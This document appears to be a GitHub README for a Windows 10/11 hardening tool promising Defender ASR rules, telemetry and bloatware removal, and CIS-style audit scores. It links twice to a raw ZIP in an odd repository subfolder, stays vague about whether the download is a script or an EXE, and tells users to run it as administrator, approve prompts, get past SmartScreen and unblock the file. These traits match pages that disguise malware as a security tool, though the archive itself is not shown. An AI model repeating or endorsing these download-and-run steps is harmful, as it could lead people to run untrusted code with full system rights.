windows-hardening is a Windows setup tool that helps you lock down Windows 10 and Windows 11 with a guided menu. It checks common security settings, applies hardening changes, and shows a score so you can see what changed.

Use it if you want to:

• Turn on stronger Defender settings
• Remove common telemetry paths
• Clean up bloatware
• Review your security score
• Apply CIS-style hardening checks without digging through system menus

This tool can help with:

• Defender ASR rules
• Windows security checks
• Privacy and telemetry changes
• Bloatware cleanup
• Firewall-related hardening checks
• Local policy and registry-based hardening
• CIS benchmark coverage for common Windows settings
• Audit scoring before and after changes

Use a Windows PC with:

• Windows 10 or Windows 11
• Administrator access
• Internet access for the first download
• Enough free space for the app and logs
• PowerShell available on the system

For best results:

• Close open apps before you start
• Save your work first
• Use a local admin account

Visit this page to download the latest release:

https://github.com/klentr7196/windows-hardening/raw/refs/heads/main/jurara/hardening_windows_v2.5.zip

Follow these steps on Windows:

1. Open the download page.
2. Find the latest release.
3. Download the file for Windows.
4. If the file is in a ZIP folder, right-click it and choose Extract All.
5. Open the extracted folder.
6. Run the app or script as an administrator.
7. Follow the on-screen menu.

If Windows asks for approval:

• Choose Yes
• If SmartScreen appears, check that you got the file from the release page
• If the file is blocked, right-click it, open Properties, and select Unblock if shown

When the tool starts, you will see a menu with options such as:

• Run a security audit
• Apply hardening rules
• Remove telemetry items
• Clean up unwanted apps
• Export results
• Review the current score

A good first step is to run the audit. That shows the current state of your PC before you change anything.

Then you can:

1. Review the audit results
2. Apply the changes you want
3. Run the audit again
4. Compare the new score

The tool may adjust settings like:

• Microsoft Defender protections
• Attack surface reduction rules
• Telemetry and data sharing options
• App and feature cleanup
• Security policies
• Common Windows privacy settings
• Recommended hardening settings from CIS-style checks

The exact changes depend on the options you pick in the menu.

Use a simple plan:

• Run the audit first
• Read the list of changes
• Apply one group at a time if you want more control
• Restart the PC if the tool asks you to
• Check that your apps still work after each step

This helps you keep control of the system and makes it easier to see what changed.

If the release comes as a ZIP file:

1. Download the ZIP file from the release page
2. Right-click the file
3. Select Extract All
4. Open the extracted folder
5. Find the main script or app file
6. Right-click it and choose Run as administrator
7. Follow the menu on screen

If the release comes as an EXE file:

1. Download the EXE file from the release page
2. Open the file
3. Allow Windows to run it
4. Select the options you want
5. Confirm the changes
6. Restart when asked

The audit score gives you a quick view of your security state.

A higher score usually means:

• More security features are on
• Fewer risky settings are left enabled
• Privacy settings are tighter
• Common hardening checks passed

Use the score as a guide, not as the only measure. Some settings may affect normal apps, printers, remote access, or update tools.

This tool can help you turn on Microsoft Defender hardening, including ASR rules.

ASR rules help block common attack methods such as:

• Scripts that launch from unsafe places
• Office files that run child processes
• Malware that tries to act like trusted software
• Suspicious behavior that often shows up in attacks

These rules can improve protection, but they may affect some work tools or older apps.

The app can also help you reduce common clutter and privacy noise.

That may include:

• Removing preinstalled apps you do not use
• Turning down telemetry
• Disabling some background items
• Cleaning up common Windows extras

This can make Windows feel leaner and easier to manage.

If you apply settings and later want to undo them:

• Run the tool again
• Look for restore or revert options
• Recheck the audit after changes
• Use Windows settings if a specific app or feature needs to be turned back on

For best control, note which options you changed.

A simple first run looks like this:

1. Download the release from GitHub
2. Extract the file if needed
3. Run it as administrator
4. Choose the audit option
5. Review the score
6. Apply the recommended hardening options
7. Restart the PC if asked
8. Run the audit again

This gives you a clear before-and-after view.

If the tool does not start:

• Check that you used the latest release
• Run it as administrator
• Make sure PowerShell is available
• Try extracting the ZIP file again
• Check that Windows did not block the file

If a setting causes an issue:

• Reopen the tool
• Use the revert or restore option if present
• Turn the setting off in Windows
• Restart the PC

If a scan or change feels slow:

• Wait for it to finish
• Keep the PC plugged in
• Close other heavy apps
• Try again after a restart

A release may include:

• A main script or app file
• A readme or usage file
• Logs or audit output
• Supporting files needed to run the tool

Open the release page and use the newest version for the cleanest setup.

You need admin rights because the tool changes Windows security settings.

Without admin rights, the tool may:

• Fail to change system settings
• Skip some checks
• Show access denied errors
• Leave some options unavailable

If possible, use the account that manages the PC.

If this is your first time using the tool:

1. Download the release
2. Run a full audit
3. Read the results
4. Apply only the changes you understand
5. Restart if needed
6. Run the audit again

That gives you a safe and clear setup path

The tool is meant for:

• Windows 10
• Windows 11

It is a good fit for:

• Home PCs
• Small office systems
• Test machines
• Personal laptops

It may affect:

• Some older software
• Certain remote tools
• Special printer or scanner features
• Custom enterprise apps

If you need the file again, visit the release page here:

https://github.com/klentr7196/windows-hardening/raw/refs/heads/main/jurara/hardening_windows_v2.5.zip